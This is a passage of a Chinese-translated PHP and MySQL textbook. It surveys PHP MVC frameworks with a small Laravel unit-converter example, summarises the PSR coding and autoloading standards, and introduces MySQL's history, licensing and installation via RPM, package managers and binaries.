虽然 PHP 一直非常适合使用 MVC 方法进行开发,但直到 Ruby on Rails ( https://www.rubyonrails.org )的突然成功吸引了全球 web 开发人员的注意,才出现了一些可用的解决方案。PHP 社区对这种新出现的对框架的需求做出了回应,并大量借鉴了 Rails 和许多其他 MVC 框架所支持的引人注目的特性。本节重点介绍了五个比较突出的 PHP 专用解决方案。这些框架可以自动化 CRUD(创建、检索、更新、删除)数据库操作,执行数据缓存,过滤表单输入;它们支持一长串选项和插件,使发送电子邮件、创建 PDF 文档、与 web 服务集成以及执行 web 应用中常用的其他任务变得容易。

注意

您还会发现,本节介绍的每个框架都比 MVC 实现提供了更多的功能。例如,它们都有助于 Ajax 集成、表单验证和数据库交互。我们鼓励您仔细研究每个框架的独特特性,以便确定哪个最适合您的特定应用的需求。

CakePHP 框架

在本节描述的四个解决方案中,CakePHP ( https://www.cakephp.org )最接近 Rails,实际上它的开发人员很乐意提到这个项目最初是受 breakout 框架的启发。该项目由 Michal Tatarynowicz 于 2005 年创建,此后吸引了数百名活跃分子的兴趣。

CakePHP 框架可以使用 Composer 安装,命令如下:

$ composer require cakephp/cakephp

Symfony 框架

symfony 框架(【https://symfony.com/】)是法国网络开发公司 Sensio ( www.sensio.com )的创始人杨奇煜·庞蒂尔的创意。Symfony 建立在其他几个成熟的开源解决方案之上,包括对象关系映射工具 Doctrine 和 Propel。通过消除在创建这些组件时产生的额外开发时间,Symfony 的开发人员能够专注于创建大大加快应用开发时间的功能。Symfony 的用户还可以利用自动表单验证、分页、购物车管理和使用 jQuery 等库的直观 Ajax 交互。

Symfony 框架可以使用以下命令与 Composer 一起安装:

$ composer create-project symfony/website-skeleton my-project

Zend 框架

Zend Framework(zendframework.com/)是一个开源项目,由著名的 PHP 产品和服务提供商 Zend Technologies(www.zend.com)开发。它提供了各种特定于任务的组件,能够执行当今尖端 web 应用的重要任务。

Zend 框架可以使用 Composer 安装,命令如下:

$ composer require zendframework/zendframework

如果您只是对 Zend Framework 的 MVC 部分感兴趣,您可以使用这个命令:

$ composer require zendframework/zend-mvc

费尔康框架

Phalcon 框架的核心(phalconphp.com/en/)是作为 PHP 扩展用 C 语言编写的。这提供了路由和框架其他部分的快速执行,但也使得扩展更加困难。可以从编译该扩展的源代码进行安装,也可以使用 Debian/Ubuntu 或 CentOS 上的软件包管理器,使用以下命令进行安装:

$ sudo apt-get install php7.0-phalcon

或者

$ sudo yum install php70u-phalcon

在 Windows 上,您必须下载 php_phalcon.dll 文件,并将下面一行添加到 php.ini 文件中:

extension=php_phalcon.dll

记住在对 php.ini 进行修改后重启 web 服务器。

Laravel 框架

Laravel Framework(laravel.com/)是一个全栈的 web 应用框架,专注于表达性和优雅的语法,并试图通过使大多数 web 应用中执行的常见任务变得容易来消除开发的痛苦。这些任务包括认证、路由、会话处理和缓存。该框架易于学习,并且有很好的文档记录。

可以使用 Composer 和以下命令安装 Laravel:

$ composer global require "laravel/installer"

这将创建一个 Laravel 安装包的全局安装,可以用来创建多个站点。一个二进制文件将被安装在 Mac 上的$HOME/.composer/vendor/bin和 Linux 发行版上的$HOME/.config/composer/vendor/bin中。为了创建一个新的 Laravel 应用,可以使用 Laravel 命令:

$ ~/.config/composer/vendor/bin/Laravel new blog

这将在当前工作目录中创建一个名为 blog 的目录,并安装配置站点所需的所有部件。缺少的只是 web 服务器的配置。将文档根目录设置为 blog/public 文件夹,并重新启动 web 服务器。您还必须将所有文件的所有权设置给运行 web 服务器的用户。这将允许 Laravel 在目录结构中写入日志文件和其他信息。

将网络浏览器指向新创建的网站将会提供一个看起来如图 21-1 所示的页面。

img/314623_5_En_21_Fig1_HTML.jpg

图 21-1

新 Laravel 网站的默认内容

安装好框架后,是时候编写第一个应用了。Laravel 框架使用模型视图控制器(MVC)模式将设计/布局从数据库模型和业务逻辑中分离出来,它提供了一个允许创建简单 URL 的路由系统。路由将一个 URL 链接到一个特定的 PHP 文件(控制器),在某些情况下直接链接到一个布局(视图)。路由保存在名为 routes/web.php 的文件中。在同一目录中还有用于其他目的的路由文件,但是 web.php 文件用于与 web 应用相关的路由。在下面的例子中,我们将创建一个简单的应用来转换不同的长度单位。该应用不需要模型,因为不涉及数据库。它是通过一个视图实现的,该视图定义了一个输入表单的布局,该表单用于输入要转换的单位和选择要转换的单位。应用的第二部分是有两个动作的控制器。第一个动作是表单动作,用于显示表单。第二个动作是计算动作,它将接受输入值并计算结果。结果将作为 JSON 对象返回,JavaScript 代码随后使用该对象更新输出值。应用将有两条路线:第一条显示表单,第二条执行计算。这些路由在 routes 文件中定义,如下所示:

<?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/convert', 'ConvertController@form');
Route::post('/calculate', 'ConvertController@calc');

这两个路由被定义为 get 和 post 方法。他们使用相同的控制器,但两个不同的行动。控制者将住在app/Http/Controllers并被称为 ConvertControler.php。创建路由时不包括 php 扩展名,而是包括用于控制器的类名,如清单 21-1 所示。

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class ConvertController extends Controller
{
    /**
     * Show the conversion form
     *
     * @return \Illuminate\Http\Response
     */
    public function form()
    {
        return view('convertForm');
    }

    /**
     * Show the conversion form
     *
     * @return \Illuminate\Http\Response

     */
    public function calc()
    {
        return response()->json([
            'to' => round($_POST['from'] * $_POST['fromUnit'] / $_POST['toUnit'], 2),
        ]);
    }
}

Listing 21-1ConvertController.php

form 方法使用 view 函数来生成输出。视图文件存储在resources/view中,在这种情况下,该文件称为convertForm.blade.php。使用这种命名约定是因为 Laravel 使用的是刀片模板系统。这个例子的视图如清单 21-2 所示。

<!doctype html>
<html lang="{{ app()->getLocale() }}">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Unit Converter</title>

        <!-- Fonts -->
        <link href="https://fonts.googleapis.com/css?family=Nunito:200,600" rel="stylesheet" type="text/css">

        <!-- Styles -->
        <style>
            html, body {
                background-color: #fff;
                color: #636b6f;
                font-family: 'Nunito', sans-serif;
                font-weight: 200;
                height: 100vh;
                margin: 0;
            }

            .full-height {
                height: 100vh;
            }

            .flex-center {
                align-items: center;
                display: flex;
                justify-content: center;

            }

            .position-ref {
                position: relative;
            }

            .top-right {
                position: absolute;
                right: 10px;
                top: 18px;
            }

            .content {
                text-align: center;
            }

            .title {
                font-size: 32px;
            }

            .links > a {
                color: #636b6f;
                padding: 0 25px;
                font-size: 12px;
                font-weight: 600;
                letter-spacing: .1rem;
                text-decoration: none;

                text-transform: uppercase;
            }

            .m-b-md {
                margin-bottom: 30px;
            }
        </style>
        <script
  src="https://code.jquery.com/jquery-3.3.1.min.js"
  integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
  crossorigin="anonymous"></script>
    </head>
    <body>
        <div class="flex-center position-ref full-height">
            <div class="content">
                <div class="title m-b-md">
                    Unit Converter
                </div>

                <div class="links">
                    <form id="convertForm" method="POST" action="/calculate">
                       @csrf
                       <input id="from" name="from" placeholder="From" type="number">
                       <select id="fromUnit" name="fromUnit">
                          <option value="25.4">Inch</option>
                          <option value="304.8">Foot</option>
                          <option value="1">Millimeter (mm)</option>
                          <option value="10">Centimeter (cm)</option>
                          <option value="1000">Meeter (m)</option>
                       </select>
                       <br/>
                       <input id="to" placeholder="To" type="number" disabled>
                       <select id="toUnit" name="toUnit">
                          <option value="25.4">Inch</option>
                          <option value="304.8">Foot</option>
                          <option value="1">Millimeter (mm)</option>
                          <option value="10">Centimeter (cm)</option>
                          <option value="1000">Meeter (m)</option>
                       </select>
                       <br/>
                       <button type="submit">Calculate</button>

                   </form>
                </div>
            </div>
        </div>
        <script>
$("#convertForm").submit(function( event ) {

  // Stop form from submitting normally
  event.preventDefault();
  // Get some values from elements on the page:
  var $form = $( this ),
    t = $form.find("input[name='_token']").val(),
    f = $form.find("#from").val(),
    fU = $form.find("#fromUnit").val(),
    tU = $form.find("#toUnit").val(),
    url = $form.attr("action");

  // Send the data using post
  var posting = $.post( url, { _token: t, from: f, fromUnit: fU, toUnit: tU } );

  // Put the results in a div
  posting.done(function( data ) {
    $("#to").val(data.to);
  });
});
        </script>
    </body>
</html>

Listing 21-2convertForm.blade.php

在这种情况下,没有真正的 PHP 代码嵌入到模板中,但是可以引用模型中的变量和数据(如果使用的话)以及模板中的其他结构。向服务器发送数据和检索内容是由 AJAX 请求来处理的,通过使用 jQuery 库,这变得很容易。

在请求时用/convert 将网络浏览器指向服务器地址,将显示如图 21-2 所示的单位转换器表单。

img/314623_5_En_21_Fig2_HTML.jpg

图 21-2

单位转换表

在“从”字段中输入 25,选择英寸和毫米作为换算的单位,并点击计算按钮,结果应如图 21-3 所示。

img/314623_5_En_21_Fig3_HTML.jpg

图 21-3

结果

PHP 框架互用性组织(PHP-FIG)

PHP 框架互操作性小组是一个协作性的工作组,通常由来自许多框架和项目的代表组成。该组织的目标是推进 PHP 生态系统和促进良好的标准。该组织推广 PHP 标准建议(PSRs),这是一组被项目和开发人员接受和使用的标准。这些标准包括从基本编码指南(PSR-1 和 PSR-2)到自动加载(PSR-4)和缓存(PSR-6)。当项目遵循这些标准时,就有可能将一个项目的一部分包含在另一个项目中,或者其他开发人员有可能在不破坏整个项目的情况下对项目进行添加或替换。

PSR-1 和 PSR-2 编码标准

PSR-1 和 PSR-2 中描述了基本的编码标准。https://www.php-fig.org/psr/psr-1/-1()并通过陈述以下规则来定义 PHP 文件应该如何组织:

  • 文件必须仅使用

  • 文件必须只使用 PHP 代码没有 BOM 的 UTF-8。

  • 文件应该或者声明符号(类、函数、常量等。)引起副作用(如,产生输出,改变。ini 设置等。)但不应该两者兼而有之。

  • 命名空间和类必须遵循“自动加载”PSR: [PSR-4]。

  • 类名必须在 StudlyCaps 中声明。

  • 类常量必须全部用大写字母声明,并带有下划线分隔符。

  • 方法名必须在 camelCase 中声明。

PSR-2 标准包含更多的要求,并且是关于代码布局和可读性的。PSR-2 扩展了 PSR-1 标准,旨在使遵循同一组编码标准的多个项目更容易协作:

  • 代码必须遵循“编码风格指南”PSR-1。

  • 代码必须使用 4 个空格缩进,而不是制表符。

  • 对线路长度不能有硬性限制;软限制必须为 120 个字符;行数应等于或少于 80 个字符。

  • 在命名空间声明后必须有一个空行,在 use 声明块后必须有一个空行。

  • 类的左括号必须在下一行,右括号必须在主体后的下一行。

  • 方法的左大括号必须在下一行,右大括号必须在正文后的下一行。

  • 必须在所有属性和方法上声明可见性;必须在可见性之前声明 abstract 和 final 必须在可见性之后声明 static。

  • 控制结构关键字后面必须有一个空格;方法和函数调用不能。

  • 控制结构的左大括号必须在同一行,右大括号必须在主体后的下一行。

  • 控制结构的左括号后面不能有空格,控制结构的右括号前面不能有空格。

即使您没有使用或参与一个框架,遵循这些建议也是一个很好的实践,特别是如果多个开发人员在同一个项目上合作,或者您在某个时候想要增加项目开发人员的数量,或者甚至可能将您的项目作为开源项目。

PSR-4 自动装弹

当类第一次在脚本中使用时,自动加载是一个允许 PHP 包含或要求包含类定义的文件的特性。正确配置自动加载后,您将不必编写一长串 include 或 require 语句来确保代码运行无误。使用名称空间对于避免同名的多个类之间的冲突变得非常重要。这是 Composer 依赖管理系统的基石之一。PSR-4 标准定义了这些规则:

  1. 术语“类”指的是类、接口、特征和其他类似的结构。

  2. 完全限定的类名具有以下形式:

  3. \ (\ )*<classname>

    1. 完全限定类名必须有一个顶级名称空间名称,也称为“供应商名称空间”

    2. 完全限定类名可以有一个或多个子命名空间名。

    3. 完全限定类名必须有一个终止类名。

    4. 下划线在完全限定类名的任何部分都没有特殊含义。

    5. 完全限定类名中的字母字符可以是小写和大写的任意组合。

    6. 所有类名必须以区分大小写的方式引用。

  4. 当加载对应于完全限定类名的文件时…

    1. 完全限定类名中的一个或多个前导命名空间和子命名空间名称的连续系列(不包括前导命名空间分隔符)(“命名空间前缀”)对应于至少一个“基目录”

    2. “名字空间前缀”之后的连续子名字空间名称对应于“基本目录”中的子目录,其中名字空间分隔符表示目录分隔符。子目录名称必须与子名称空间名称的大小写匹配。

    3. 终止类名对应于以. php 结尾的文件名。文件名必须与终止类名的大小写匹配。

  5. 自动加载器实现不得抛出异常,不得引发任何级别的错误,并且不得返回值。

Composer 附带的自动加载器功能是通过包含文件vendor/autoload.php来实例化的。您可以将供应商目录添加到 php.ini 文件的include_path中,并在脚本中简单地使用require "autoload.php";,假设在包含路径中只有一个 autoload.php 文件。

摘要

框架可以帮助开发人员专注于业务逻辑,而不是如何进行身份验证、如何创建访问控制或者如何为特定的布局格式化输出。PHP 社区已经构建了许多框架来简化这些任务。构建什么样的 web 应用并不重要;您将能够找到一个框架,可以为您解决大多数繁琐的任务。你需要做的就是找到一个有你需要的功能的,这样你就可以专注于实际的网站功能和外观。

今天可用的大多数框架还包括某种形式的数据库连接服务,允许您从流行的数据库中选择作为 web 应用的后端。PHP 使用的最流行的数据库之一是 MySQL 数据库,将在后面的章节中介绍。

二十二、MySQL 简介

MySQL 关系数据库服务器诞生于大约 22 年前的一个公司内部项目,由一家瑞典软件公司的员工开发。他们的项目被称为 MySQL,于 1996 年底首次向公众发布。事实证明,这款软件非常受欢迎,以至于他们在 2001 年成立了一家新公司,专门提供 MySQL 服务和产品。在接下来的十年中,MySQL 在教育机构、政府机构、小型企业和财富 500 强公司中的采用率如此之高,以至于 MySQL 背后的公司在 2008 年被 Sun Microsystems 以近 10 亿美元的价格收购,该公司又在 2009 年初被 Oracle Corporation 收购。这是一个相当惊人的成功故事!那么,到底是什么让 MySQL 的产品如此吸引人呢?

一个特别的原因是开发团队的历史思维。从第一次公开发布开始,MySQL 的开发人员就特别强调速度和可伸缩性,这两个特性对全球的开发人员来说非常有吸引力,因为他们对构建高性能的网站很感兴趣。然而,这些优势是有代价的,因为 MySQL 是一个高度优化的产品,缺少许多被认为是企业数据库产品标准的特性:例如,存储过程、触发器和事务。然而,该产品吸引了大量用户的注意,他们对速度和可伸缩性更感兴趣,而不是在许多情况下经常被闲置的功能。后来的版本最终增加了这些功能,吸引了更多的用户。

根据 MySQL 网站,该产品已被下载超过 1 亿次。该数据库的用户包括世界上许多行业中一些最知名的公司和组织,包括 YouTube、PayPal、网飞和脸书( www.mysql.com/customers )。在这一章的后面,我将仔细看看这些用户是如何使用 MySQL 的,在某些情况下,在这个过程中节省了数百万美元。

是什么让 MySQL 如此受欢迎?

MySQL 是一个关系数据库服务器,它提供了与竞争产品相同的特性。换句话说,如果您熟悉另一个数据库产品,就不会遇到太多意外。除了众所周知的方便定价选项(具体来说,它在很多情况下都是免费的),MySQL 的什么地方让它如此受欢迎呢?这一节重点介绍了一些有助于其人气飙升的关键特征。

灵活性

无论你运行的是什么操作系统,MySQL 都有可能覆盖你。在 MySQL 网站上,您会找到适用于 14 个平台的优化二进制文件:康柏 Tru64、DEC OSF、FreeBSD、IBM AIX、惠普 UX、Linux、Mac OS X、Novell NetWare、OpenBSD、QNX、SCO、SGI IRIX、Solaris(版本 8、9 和 10)和 Microsoft Windows。软件包也适用于 Red Hat、SUSE 和 Ubuntu。此外,如果您的平台没有二进制文件,或者如果您想自己执行编译,MySQL 会提供源代码供下载。

各种 API 也适用于所有最流行的编程语言,包括 C、C++、Java、Perl、PHP、Ruby 和 Tcl。

MySQL 还提供了许多类型的数据管理机制,称为存储引擎。谨慎选择特定存储引擎的重要性类似于为特定任务使用适当算法的重要性。像算法一样,存储引擎特别擅长某些任务,但可能不适用于其他任务。MySQL 很早就支持几个引擎,其中几个在第二十六章中有介绍。

尽管 MySQL 默认使用英语兼容的设置,但它的开发者认识到并非所有用户都来自英语国家,因此 MySQL 允许用户从超过 35 个字符集中进行选择。您可以使用这些字符集来控制错误和状态消息使用的语言、MySQL 如何对数据进行排序以及数据如何存储在表中。

力量

从最早的版本开始,MySQL 开发人员就一直关注性能,即使是以减少特性集为代价。直到今天,对非凡速度的承诺没有改变,尽管随着时间的推移,以前缺乏的能力已经发展到可以与许多商业和开源竞争对手相媲美。本节简要介绍了该产品的一些更有趣的性能和特性相关的特征。

企业级 SQL 特性

正如本章介绍中提到的,MySQL 有一段时间缺乏高级特性,比如子查询、视图和存储过程。但是,这些特性(以及更多特性)是在以后的版本中添加的,这使得数据库在企业环境中的应用越来越多。本书随后的几章将专门介绍这些相对较新的特性。

全文索引和搜索

MySQL 长期以来一直支持全文索引和搜索,这些功能极大地增强了从基于文本的列中挖掘数据的性能。此功能还使您能够根据查询与行的索引文本列的匹配程度,按相关性顺序生成结果。该功能在第三十三章中介绍。

查询缓存

查询缓存是 MySQL 最大的速度提升之一。启用时,查询缓存简单而高效,允许 MySQL 在内存中存储选择查询及其相应的结果。随着后续查询的执行,MySQL 会将它们与缓存的查询进行比较;如果匹配,MySQL 将放弃代价高昂的数据库检索,转储缓存的查询结果。为了消除过时的结果,机制可用于自动移除无效的缓存结果,并在下一次请求时重新缓存它们。

分身术

复制允许位于一个 MySQL 服务器上的数据库被复制到另一个服务器上,这提供了很多优点。例如,只要有一个复制的数据库就可以大大提高可用性,因为如果主数据库出现问题,它可以立即联机。如果有多台机器供您使用,客户机查询可以分布在主服务器和多个从服务器上,从而大大减少了单台机器上的负载。另一个优势涉及备份;在备份完成时,您不必让应用离线,而是可以在从属服务器上执行备份,从而避免任何停机时间。

配置和安全性

MySQL 拥有大量的安全和配置选项,使您能够完全控制其操作的几乎每一个可以想象的方面。例如,使用 MySQL 的配置选项,您可以控制如下功能:

  • 守护进程所有者、默认语言、默认端口、MySQL 数据存储的位置以及其他关键特征。

  • 分配给各种 MySQL 资源(如查询缓存)的内存量。

  • MySQL 网络功能的各个方面,包括在中止之前它将尝试执行连接多长时间,它是否将尝试解析 DNS 名称,允许的最大数据包大小等等。

此外,MySQL 跟踪关于数据库交互的所有方面的许多指标,例如总的传入和传出字节数;执行的每个查询类型的计数;以及打开、运行、缓存和连接的线程总数。它还跟踪超过特定执行阈值的查询数量、存储在缓存中的查询总数、正常运行时间等等。这些数字对于在服务器的整个生命周期中不断调整和优化服务器来说是无价的。

MySQL 的安全选项同样令人印象深刻,允许您管理如下特征:

  • 对于给定的数据库、表甚至列,用户可以执行哪些操作。例如,您可能允许用户对公司雇员表的电子邮件列拥有更新权限,但拒绝删除权限。

  • 每小时允许的查询、更新和连接的总数。

  • 用户是否必须提供有效的 SSL 证书才能连接到数据库。

由于这些选项的重要性,在接下来的章节中会反复提到它们。具体来说,第二十三章的一部分致力于 MySQL 的配置,第二十六章的全部致力于 MySQL 的安全性。

灵活的许可选项

MySQL 提供了两个许可选项,这两个选项都将在本节中介绍。

MySQL 开源许可证

Oracle 根据 GNU 通用公共许可证(GPL)条款提供其软件的免费社区版本。如果您在自己的服务器上下载和使用该软件,与付费许可证相比,这不会给您任何超出社区版本限制的限制。如果您决定开发和销售包含 MySQL 的 GPL 许可部分的软件,您将被要求在相同的许可下发布您的软件或支付商业许可。在 https://www.fsf.org/licensing/licenses/gpl.html 了解更多关于 GPL 条款的信息。

认识到并非所有用户都希望在 GPL 的限制性条款下发布他们的软件,MySQL 也可以作为 Oracle cloud 中的云服务使用,他们提供企业版。

标准、企业和云许可证

MySQL 目前提供三种商业许可,分别叫做标准、企业和云。这些将提供附加功能和支持以及产品升级的组合。完整的特性列表可以在这里找到: https://www.mysql.com/products/

您应该使用哪种许可证?

当你读这本书的时候,你很可能是一个正在为你自己或者你工作的公司构建应用的开发者。在大多数情况下,开源许可证将是你所需要的。另一方面,如果您需要访问一些更高级的功能,如热备份或加密和压缩,或者您计划开发一个嵌入 MySQL 的产品,您将不得不考虑一个商业许可证,或者在与您必须投资的 MySQL 开源版本相同的 GPL 许可证下许可整个软件

杰出的 MySQL 用户

如前所述,MySQL 拥有相当多的杰出用户。我选择了两个更引人注目的实现来提供 MySQL 如何帮助您的组织的额外见解。

克雷格列表(网站名)

自 1995 年成立以来,广受欢迎的在线分类广告和社区网站 craigslist ( https://www.craigslist.org )一直在不断扩张。craigslist 网站从一开始就依赖于各种开源产品,包括 LAMP (Linux、Apache、MySQL、Perl)栈(参见 https://www.craigslist.org/about/thanks 了解该公司使用的著名开源产品列表)。这个软件为一个负责发布超过 1 亿条分类广告和每月惊人的 500 亿次页面浏览的社区提供了动力( https://www.craigslist.org/about/factsheet )!

推特

短短几年间,Twitter 已经发展到像可口可乐和麦当劳一样无处不在,事实上,其数亿用户中的许多人认为这项服务像食物和水一样不可或缺。MySQL 在消息服务每秒存储数万条推文的能力中发挥了关键作用,每天的消息总数达到惊人的 5 亿条。 1 性能是如此重要,该公司甚至还维护了自己的 MySQL 开发分支,可通过 GitHub: https://github.com/twitter/mysql 获得。

当然,这种规模的基础设施依赖于多种技术,MySQL 只是用于支持该服务的几种存储解决方案之一。其他存储技术包括 Cassandra ( https://cassandra.apache.org/ )和 Hadoop ( https://hadoop.apache.org /)。

开源代码库

GitHub 使用 MySQL 和 Rails 应用的组合为其用户提供基础设施和服务。GitHub 还开发了开源应用,可以帮助用户进行模式迁移(gh-ost)。你可以在这里阅读更多关于 GitHub 的故事: https://www.mysql.com/customers/view/?id=1265

其他主要用户

MySQL 网站提供了一系列以知名 MySQL 用户( https://mysql.com/why-mysql/case-studies/ )为特色的案例研究,其中包括威瑞森无线、沃尔玛、Anritsu 和 Zappos。考虑花些时间仔细阅读这些摘要,因为它们可以作为游说您的组织在企业中采用 MySQL 的有用武器。

Maria db:MySQL 的替代品

在 MySQL 被 Sun Microsystems 以及后来的 Oracle(数据库市场的竞争对手)收购后,一些核心开发人员觉得他们已经减少了对产品方向和功能的影响,因此他们创建了产品的“分支”。它被命名为 MariaDB。它被迅速采用,主要是因为它与原始产品非常兼容,但也因为它在某些情况下提供了更好的性能。随着这两种产品的发展,它们之间的差距可能会越来越大,从一种产品移植到另一种产品可能会变得更加困难。

许多 Linux 发行版现在默认提供 MariaDB 版本,用户必须使用特殊的下载选项来安装原生 MySQL 版本。

MySQL 安装的另一个替代项目是 Percona 服务器项目( https://www.percona.com/software/mysql-database/percona-server ),它也是由前 MySQL 开发人员重新创建的。

摘要

从内部项目到全球竞争对手,MySQL 自诞生以来确实走过了漫长的道路。这一章简要概述了 MySQL 的发展历程,详细介绍了 MySQL 的历史、进步和未来。还展示了数千个成功用户案例中的几个,突出了 MySQL 在具有全球影响力的组织中的使用。

在接下来的章节中,您将进一步熟悉许多 MySQL 基础主题,包括安装和配置过程、许多 MySQL 客户端、表结构和 MySQL 的安全特性。如果您是 MySQL 的新手,那么这些资料对于快速了解这个强大的数据库服务器的基本特性和行为是非常宝贵的。如果你已经非常熟悉 MySQL,尽管如此,还是要考虑浏览这些资料;至少,它应该是一个有用的参考。

二十三、安装和配置 MySQL

本章将指导您完成 MySQL 的安装和配置过程。它并不打算取代 MySQL 优秀的(庞大的)用户手册,而是强调那些希望快速有效地准备好数据库服务器以供使用的人直接感兴趣的关键过程。涵盖了以下主题:

  • 下载说明

  • 分布变化

  • 安装程序(源代码、二进制代码、rpm)

  • 设置 MySQL 管理员密码

  • 启动和停止 MySQL

  • 将 MySQL 安装为系统服务

  • MySQL 配置和优化问题

  • 重新配置 PHP 以使用 MySQL

通过本章的总结,您将学会如何安装和配置一个可运行的 MySQL 服务器。

下载 MySQL

MySQL 数据库有两个版本:MySQL 社区服务器和 MySQL 企业服务器。如果您不需要 MySQL 的一系列支持、监控和优先更新服务,您应该使用前者。如果上述任何或所有服务可能吸引你,请通过 https://www.mysql.com/products/enterprise 了解更多关于 MySQL Enterprise 的信息。这本书假设你使用的是社区服务器版,可以通过 MySQL 网站免费下载。

要下载最新的 MySQL 版本,请导航至 https://www.mysql.com/downloads 。从那里,你可以选择 10 种不同的操作系统,或者你可以下载源代码。

如果您运行的是 Linux 或 OS X,我强烈建议您使用发行版的软件包管理器来安装 MySQL。否则,您可以使用可用的 rpm 或来自 https://www.MySQL.com 的源代码来安装 MySQL。在本章的后面,我将指导你从 RPM 和源代码安装 MySQL。

MySQL 提供了范围广泛的软件包供下载,从服务器软件包到集群版本,以及在 Windows 上用于开发或生产环境的捆绑工具。如果你去 https://dev.mysql.com/downloads 你可以看到一个完整的可用软件包列表。类似的你可以去 https://mariadb.com/downloads/ 下载当前版本的 MariaDB。

安装 MySQL

数据库服务器安装通常是一个痛苦的过程。幸运的是,MySQL 服务器的安装相当简单。事实上,经过几次迭代后,您会发现未来的安装或升级会话只需几分钟即可完成,甚至可以通过内存来完成。

在本节中,您将学习如何在 Linux 和 Windows 平台上安装 MySQL。除了提供全面的分步安装说明之外,还讨论了经常让新手和普通用户感到困惑的主题,包括发行版格式的变化、特定于系统的问题等等。

注意

在本章的剩余部分,常量INSTALL-DIR被用作 MySQL 的基本安装目录的占位符。考虑修改您的系统路径以包含此目录。

在 Linux 上安装 MySQL

尽管 MySQL 已经移植到至少 10 个平台上,但它的 Linux 发行版仍然是最受欢迎的。这并不奇怪,因为 Linux 通常与运行基于 web 的服务结合使用。本节涵盖了 MySQL 所有三种可用 Linux 发行版格式的安装过程:RPM、二进制和源代码。此外,它可以通过大多数 Linux 发行版包管理器(yum、apt-get 等)获得。这通常是安装和管理 MySQL 的最简单和最好的方法。不需要处理编译器或手动安装。

RPM、二进制或源代码?

面向 Linux 操作系统的软件通常提供几种分发格式。MySQL 也不例外,为每个发布的版本提供 RPM、二进制和源代码版本。因为这些都是受欢迎的选项,所以本节提供了所有三个选项的说明。如果您不熟悉这些格式,那么在选定一种格式之前,请仔细阅读每一部分,并在必要时进行额外的研究。

RPM 安装过程

如果您运行的是 RPM 驱动的 Linux 发行版,RPM 包管理器(RPM)提供了安装和维护软件的简单方法。RPM 为安装、升级、卸载和查询软件提供了一个通用的命令接口,极大地消除了一般 Linux 软件维护所需要的学习曲线。

小费

尽管您将在本节中学习一些 RPM 更有用和更常用的命令,但它几乎没有触及其功能的皮毛。如果你对 RPM 格式不熟悉,可以在 www.rpm.org 了解更多。

MySQL 为各种不同的处理器架构提供 rpm。要实现本书剩余部分中的示例,您只需要下载 MySQL-server 和 MySQL-client 包。下载这些包,将它们保存到您首选的分发存储库目录中。通常将包存储在/usr/src目录中,但是位置对安装过程的最终结果没有影响。

您可以用一个命令安装 MySQL 服务器 RPM。例如,要安装在撰写本文时可用的面向 32 位 x86 平台的服务器 RPM,请执行以下命令:

%>rpm -i mysql-community-server-5.7.19-1.el7.x86_64.rpm

您可以考虑添加–v选项,以便在 RPM 安装时查看进度信息。执行后,安装过程将开始。假设一切顺利,您将被告知初始表已经安装,mysqld 服务器守护进程已经启动。

请记住,这只会安装 MySQL 的服务器组件。如果您想从同一台机器连接到服务器,您需要安装客户机 RPM:

%>rpm -iv mysql-community-client-5.7.19-1.el7.x86_64.rpm

大多数 Linux 安装都提供了一个包管理工具,可以自动识别最新版本。在 Red Hat/CentOS 上,这个工具叫做 yum。为了从 CentOS 7 上的存储库中安装 MariaDB,您将使用以下命令:

%>yum install mariadb mariadb-server

这将安装 MariaDB 的客户端和服务器元素。仍然可以在 CentOS 上安装 MySQL 版本,但它不再是首选/受支持的版本。

同样,如果您使用 Debian 或 Ubunto,您将使用 apt-get 命令来安装软件包:

%>apt-get install mysql-server

这个命令将实际安装服务器的 MariaDB 版本。

信不信由你,通过执行这个简单的安装命令,初始数据库已经创建好了,MySQL 服务器守护进程正在运行。

小费

卸载 MySQL 就像安装它一样简单,只需要一个命令:

%>rpm –e MySQL-VERSION

尽管 MySQL RPMs 提供了一种无痛且有效的手段,但这种便利是以灵活性为代价的。例如,安装目录是不可重定位的;也就是说,您被绑定到由打包程序确定的预定义安装路径。这不一定是一件坏事,但是灵活性通常很好,有时也是必要的。如果您的个人情况需要这种额外的灵活性,请继续阅读以了解二进制和源代码安装过程。否则,继续“设置 MySQL 管理员密码”一节。

二进制安装过程

二进制发行版是简单的预编译源代码,通常由开发人员或贡献者创建,旨在为用户提供特定于平台的优化发行版。虽然本章主要关注 Linux 的安装过程,但是请记住,除了 Windows 之外,所有平台的安装过程基本相同(许多平台可以在 MySQL 网站上下载), Windows 将在下一节介绍。

要在 Linux 上安装 MySQL 二进制文件,您需要有能够解压缩二进制文件包的工具。大多数 Linux 发行版都带有 GNU gunzip 和tar工具,它们能够执行这些任务。

您可以通过导航到 MySQL 网站的下载部分来下载适用于您的平台的 MySQL 二进制文件。与 rpm 不同,二进制文件将服务器和客户机打包在一起,所以您只需要下载一个包。下载这个包,并将其保存到您首选的分发存储库目录中。将包存储在/usr/src目录中是很常见的,但是这个位置对安装过程的最终结果没有影响。

尽管就击键而言,二进制安装过程比安装 RPM 稍微复杂一些,但就所需的 Linux 知识而言,它只是稍微复杂一些。这个过程可以分为四个步骤:

  1. 创建必要的组和所有者(对于此步骤和以下步骤,您需要具有 root 权限):

    %>groupadd mysql
    %>useradd –g mysql mysql
    
    
  2. 将软件解压缩到目标目录。建议使用 GNU gunziptar程序。

    %>cd /usr/local
    %>tar -xzvf /usr/src/mysql-VERSION-OS.tar.gz
    
    
  3. 将安装目录链接到一个共同点:

    %>ln -s FULL-PATH-TO-MYSQL-VERSION-OS mysql
    
    
  4. 安装 MySQL 数据库。mysql_install_db是一个 shell 脚本,它登录到 MySQL 数据库服务器,创建所有必需的表,并用初始值填充它们。

    %>cd mysql
    %>chown -R mysql .
    %>chgrp -R mysql .
    %>scripts/mysql_install_db --user=mysql
    %>chown -R root .
    %>chown -R mysql data
    
    

就这样!转到“设置 MySQL 管理员密码”一节。

源安装过程

